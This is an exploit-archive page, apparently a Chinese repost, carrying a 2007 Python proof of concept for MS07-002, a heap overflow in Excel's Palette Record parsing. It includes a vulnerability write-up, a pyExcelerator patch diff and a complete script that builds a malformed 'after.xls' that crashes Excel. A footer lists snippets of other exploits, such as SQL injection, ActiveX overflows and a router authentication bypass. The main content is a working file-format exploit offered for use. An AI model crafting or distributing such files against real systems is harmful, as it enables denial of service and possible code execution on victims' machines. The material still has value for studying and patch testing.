Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)

所属分类: 网络安全 / Exploit 阅读数: 92
收藏 0 赞 0 分享
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data = 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result
---
> return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
- 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")


def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)

str = f.read()
f.close()

#write to malformed xls file
f = open( "after.xls", "wb")

PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

palette_idx = str.find( PaletteRecord)

if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)

str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()

if __name__ == "__main__":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()

//http://www.leftworld.net
更多精彩内容其他人还在看

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi Original POC: http://www.milw0rm.com/exploi
收藏 0 赞 0 分享

MyBulletinBoard (MyBB)

<?php // forum mybb <= 1.2.11 remote sql injection vulnerability // bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0 赞 0 分享

Acoustica Mixcraft

#!/usr/bin/perl # # Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit # Author: Koshi # # Date: 08-28-08 ( 0day ) # Ap
收藏 0 赞 0 分享

Simple PHP Blog (SPHPBlog)

<? /* sIMPLE php bLOG 0.5.0 eXPLOIT bY mAXzA 2008 */ function curl($url,$postvar){ global $cook; $ch = cur
收藏 0 赞 0 分享

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Arbitrary File Corruptio
收藏 0 赞 0 分享

Dana IRC 1.4a Remote Buffer Overflow Exploit

#!/usr/bin/perl # k`sOSe - 08/24/2008 # This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. # I was loo
收藏 0 赞 0 分享

GeekLog

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO;
收藏 0 赞 0 分享

NoName Script

################################################################################ [ ] NoName Script 1.1 BETA Multiple Remote Vulnerabiliti
收藏 0 赞 0 分享

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

Belkin wireless G router ADSL2 modem Auth Bypass Exploit

<html> <head> </head> <body> <b>html code to bypass the webinterface password protection of the Be
收藏 0 赞 0 分享
查看更多